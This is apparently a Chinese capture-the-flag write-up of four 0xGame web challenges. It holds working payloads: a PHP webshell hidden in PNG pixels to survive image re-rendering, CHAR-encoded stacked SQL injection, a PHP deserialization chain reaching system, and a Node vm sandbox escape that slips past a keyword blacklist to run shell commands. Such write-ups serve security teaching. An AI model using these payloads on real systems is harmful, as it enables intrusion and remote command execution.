0xGame第二周,在师傅已经给了大量提示的情况下只做出两个题:(
 
 
[Week 2] ez_upload 根据题目猜测任意文件上传,先打开题目的附件看看有啥东西,发现会对上传的文件利用imagecreatefrom点点点()和image点点点()进行二次渲染,主要部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php switch  ($_FILES ['file' ]['type' ]) {      case  "image/gif" :         $source  = imagecreatefromgif ($_FILES ['file' ]['tmp_name' ]);         break ;     case  "image/jpeg" :         $source  = imagecreatefromjpeg ($_FILES ['file' ]['tmp_name' ]);         break ;     case  "image/png" :         $source  = imagecreatefrompng ($_FILES ['file' ]['tmp_name' ]);         break ;     default :         die ('Invalid file type!' ); }$ext  = pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION); $filepath  = $user_dir .md5 ($_FILES ['file' ]['name' ]).'.' .$ext ; switch  ($_FILES ['file' ]['type' ]) {      case  "image/gif" :         imagegif ($source , $filepath );         break ;     case  "image/jpeg" :          imagejpeg ($source , $filepath );         break ;     case  "image/png" :         imagepng ($source , $filepath );         break ;     default :         die ('Invalid file type!' ); }echo  'Upload avatar success! Path: ' .$filepath ;?> 
 
去网上查了有关二次渲染绕过的资料,发现有些题目是二次渲染配合include函数再上传图片马,但这题没给include函数?根据师傅的提示搜索了生成用于绕过二次渲染的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $p  = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 ,            0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae ,            0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc ,            0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f ,            0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c ,            0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d ,            0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 ,            0x66 , 0x44 , 0x50 , 0x33 );$img  = imagecreatetruecolor (32 , 32 );for  ($y  = 0 ; $y  < sizeof ($p ); $y  += 3 ) {    $r  = $p [$y ];    $g  = $p [$y +1 ];    $b  = $p [$y +2 ];    $color  = imagecolorallocate ($img , $r , $g , $b );    imagesetpixel ($img , round ($y  / 3 ), 0 , $color ); }imagepng ($img ,'./1.png' );?> 
 
放本地运行一下,生成1.png,放到HexCmp下看看:
有这么个东西:
<?=$_GET[0]($_POST[1]);?>//GET0传函数名,POST1传参数
先后缀改成php,上传时抓包把content-type字段改成image/png,发现上传成功,访问URL:
成功,GET传参0=system,POST传参1=ls;,先看当前目录下的文件:
GET传参0=system,POST传参1=ls /;,看根目录下的文件:
GET传参0=system,POST传参1=cat /flag;,得到flag:
0xGame{4611f622-8577-4ac4-8f85-0b787730800c}
[Week 2] ez_sqli url:http://120.27.148.152:50021/?order=email,师傅提示是堆叠注入,而且直接select flag from flag就能拿答案。
给了附件,看下源码里黑名单都有啥:
blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']
?order=id;show tables这种没法用了,根据师傅提示可以使用prepare和execute结合执行,有:
1 2 3 SET  @a = select  extractvalue(1 ,concat(0x7e ,select  flag from  flag limit 0 ,1 ));PREPARE  hello FROM  @a ;EXECUTE  hello;#
 
但select被过滤掉了,空格好像也不能直接用?借助char()函数直接把第一段全转成字符:
1 2 3 4 SET  @a = CHAR (115 ,101 ,108 ,101 ,99 ,116 ,32 ,101 ,120 ,116 ,114 ,97 ,99 ,116 ,118 ,97 ,108 ,117 ,101 ,40 ,49 ,44 ,99 ,111 ,110 ,99 ,97 ,116 ,40 ,48 ,120 ,55 ,101 ,44 ,40 ,115 ,101 ,108 ,101 ,99 ,116 ,32 ,102 ,108 ,97 ,103 ,32 ,102 ,114 ,111 ,109 ,32 ,102 ,108 ,97 ,103 ,32 ,108 ,105 ,109 ,105 ,116 ,32 ,48 ,44 ,49 ,41 ,41 ,41 ,41 ,59 );PREPARE  hello FROM  @a ;EXECUTE  hello;#
 
SET @a=CHAR(115,101,108,101,99,116,32,101,120,116,114,97,99,116,118,97,108,117,101,40,49,44,99,111,110,99,97,116,40,48,120,55,101,44,40,115,101,108,101,99,116,32,102,108,97,103,32,102,114,111,109,32,102,108,97,103,32,108,105,109,105,116,32,48,44,49,41,41,41,59);PREPARE/**/hello/**/FROM/**/@a;EXECUTE/**/hello;
返回:XPATH syntax error: '~0xGame{4286b62d-c37e-4010-ba9c-'"),没显示完全,好像因为报错函数只能显示32位?改下payload让它显示flag的后30位:flag->(right(flag,30))
1 / ?order = email;SET  @a = CHAR (115 ,101 ,108 ,101 ,99 ,116 ,32 ,101 ,120 ,116 ,114 ,97 ,99 ,116 ,118 ,97 ,108 ,117 ,101 ,40 ,49 ,44 ,99 ,111 ,110 ,99 ,97 ,116 ,40 ,48 ,120 ,55 ,101 ,44 ,40 ,115 ,101 ,108 ,101 ,99 ,116 ,32 ,40 ,114 ,105 ,103 ,104 ,116 ,40 ,102 ,108 ,97 ,103 ,44 ,51 ,48 ,41 ,41 ,32 ,102 ,114 ,111 ,109 ,32 ,102 ,108 ,97 ,103 ,32 ,108 ,105 ,109 ,105 ,116 ,32 ,48 ,44 ,49 ,41 ,41 ,41 ,59 );PREPARE helloFROM @a ;EXECUTE hello;
 
拼起来得到flag:0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}
[Week 2] ez_unserialize 这题没做出来挺可惜的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82  <?php show_source (__FILE__ );class  Cache   {     public  $key ;     public  $value ;     public  $expired ;     public  $helper ;     public  function  __construct ($key , $value , $helper  )  {         $this ->key = $key ;         $this ->value = $value ;         $this ->helper = $helper ;         $this ->expired = False;     }     public  function  __wakeup ( )  {          $this ->expired = False;     }     public  function  expired ( )  {         if  ($this ->expired) {              $this ->helper->clean ($this ->key);             return  True;          } else  {             return  False;         }     } }class  Storage   {     public  $store ;     public  function  __construct ( )  {         $this ->store = array ();     }          public  function  __set ($name , $value  )  {         if  (!$this ->store)              $this ->store = array ();         }         if  (!$value ->expired ()) {             $this ->store[$name ] = $value ;         }     }     public  function  __get ($name  )  {         return  $this ->data[$name ];     } }class  Helper   {     public  $funcs ;     public  function  __construct ($funcs  )  {         $this ->funcs = $funcs ;     }     public  function  __call ($name , $args  )  {          $this ->funcs[$name ](...$args );       } }class  DataObject   {     public  $storage ;     public  $data ;     public  function  __destruct ( )  {           foreach  ($this ->data as  $key  => $value ) {             $this ->storage->$key  = $value ;         }     } }if  (isset ($_GET ['u' ])) {     unserialize ($_GET ['u' ]); }?>       
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php           class  Cache   {         public  $key ;     	public  $value ; 		public  $expired ; 		public  $helper ; } 	class  Storage   { 		public  $store ; } 	class  Helper   { 		public  $funcs ; } 	class  DataObject   { 		public  $storage ; 		public  $data ; }          $a  = new  DataObject ();     $b  = new  Storage ();     $c  = new  Cache ();     $c  -> expired = False;     $d  = new  Cache ();     $e  = new  Helper ();     $a -> data = array ('key1'  => $c , 'key2'  => $d );     $a -> storage = $b ;      $b -> store = &$d ->expired;     $d  -> key = 'id' ;     $d -> helper = $e ;     $e -> $funcs  = ['clean'  => 'system' ];     echo  serialize ($a );?> 
 
1 2 3 4 5  DataObject.__destruct()  ->  Storage.__set()  ->  Cache.expired()  ->  Helper.__call()
 
1 参考文章:ttps:// zhuanlan.zhihu.com/p/ 377676274 
 
1 2 3 4 pear: https: //longlone.top/%E5 %AE %89 %E5 %85 %A8 /%E5 %AE %89 %E5 %85 %A8 %E7 %A0 %94 %E7 %A9 %B6 /register_argc_argv%E4 %B8 %8 Einclude%20 to %20 RCE%E7 %9 A%84 %E5 %B7 %A7 %E5 %A6 %99 %E7 %BB %84 %E5 %90 %88 /https: //blog.csdn.net/RABCDXB/article/details/122050370 
 
[Week 2] ez_sandbox app.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 const  crypto = require ('crypto' )const  vm = require ('vm' );const  express = require ('express' )const  session = require ('express-session' )const  bodyParser = require ('body-parser' )var  app = express () app.use (bodyParser.json ()) app.use (session ({     secret : crypto.randomBytes (64 ).toString ('hex' ),     resave : false ,     saveUninitialized : true  }))var  users = {}var  admins = {}function  merge (target, source ) {      for  (let  key in  source) {         if  (key === '__proto__' ) {             continue          }         if  (key in  source && key in  target) {             merge (target[key], source[key])         } else  {             target[key] = source[key]         }     }     return  target }function  clone (source ) {      return  merge ({}, source) }function  waf (code ) {     let  blacklist = ['constructor' , 'mainModule' , 'require' , 'child_process' , 'process' , 'exec' , 'execSync' , 'execFile' , 'execFileSync' , 'spawn' , 'spawnSync' , 'fork' ]     for  (let  v of  blacklist) {         if  (code.includes (v)) {             throw  new  Error (v + ' is banned' )         }     } }function  requireLogin (req, res, next ) {     if  (!req.session .user ) {         res.redirect ('/login' )     } else  {         next ()     } } app.use (function (req, res, next ) {     for  (let  key in  Object .prototype  ) {         delete  Object .prototype  [key]     }     next () }) app.get ('/' , requireLogin, function (req, res ) {     res.sendFile (__dirname + '/public/index.html' ) }) app.get ('/login' , function (req, res ) {     res.sendFile (__dirname + '/public/login.html' ) }) app.get ('/register' , function (req, res ) {     res.sendFile (__dirname + '/public/register.html' ) }) app.post ('/login' , function (req, res ) {     let  { username, password } = clone (req.body )     if  (username in  users && password === users[username]) {         req.session .user  = username         if  (username in  admins) {             req.session .role  = 'admin'          } else  {             req.session .role  = 'guest'          }         res.send ({             'message' : 'login success'          })     } else  {         res.send ({             'message' : 'login failed'          })     } }) app.post ('/register' , function (req, res ) {     let  { username, password } = clone (req.body )     if  (username in  users) {         res.send ({             'message' : 'register failed'          })     } else  {         users[username] = password         res.send ({             'message' : 'register success'          })     } }) app.get ('/profile' , requireLogin, function (req, res ) {     res.send ({         'user' : req.session .user ,         'role' : req.session .role      }) }) app.post ('/sandbox' , requireLogin, function (req, res ) {     if  (req.session .role  === 'admin' ) {         let  code = req.body .code          let  sandbox = Object .create (null )         let  context = vm.createContext (sandbox)                  try  {             waf (code)             let  result = vm.runInContext (code, context)             res.send ({                 'result' : result             })         } catch  (e) {             res.send ({                 'result' : e.message              })         }     } else  {         res.send ({             'result' : 'Your role is not admin, so you can not run any code'          })     } }) app.get ('/logout' , requireLogin, function (req, res ) {     req.session .destroy ()     res.redirect ('/login' ) }) app.listen (3000 , function ( ) {     console .log ('server start listening on :3000' ) })
 
先看和原型链污染有关的部分:
1 2 3 4 5 6 7 8 9 10 11 12 app.post ('/login' , function (req, res ) {     let  { username, password } = clone (req.body )      if  (username in  users && password === users[username]) {         req.session .user  = username         if  (username in  admins) {              req.session .role  = 'admin'          } else  {             req.session .role  = 'guest'          }
 
在POST包中增加如下:
1 2 3 4 {"username" : "test" ,"password" : "123" ,"__proto__" :{"test" :"123" }}} {"username" : "test" ,"password" : "123" ,"constructor" : {"prototype" : {"test" :"123" }}}
 
结果:
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 throw  new  Proxy ({}, { get : function ( ){ const  c = arguments .callee .caller const  p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))()return  p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('ls /' ).toString ();  } }) 或let  obj = {}  obj.__defineGetter__ ('message' , function ( ){const  c = arguments .callee .caller const  p = (c['constru' +'ctor' ]['constru' +'ctor' ]('return pro' +'cess' ))()return  p['mainM' +'odule' ]['requi' +'re' ]('child_pr' +'ocess' )['ex' +'ecSync' ]('cat /flag' ).toString (); })throw  obj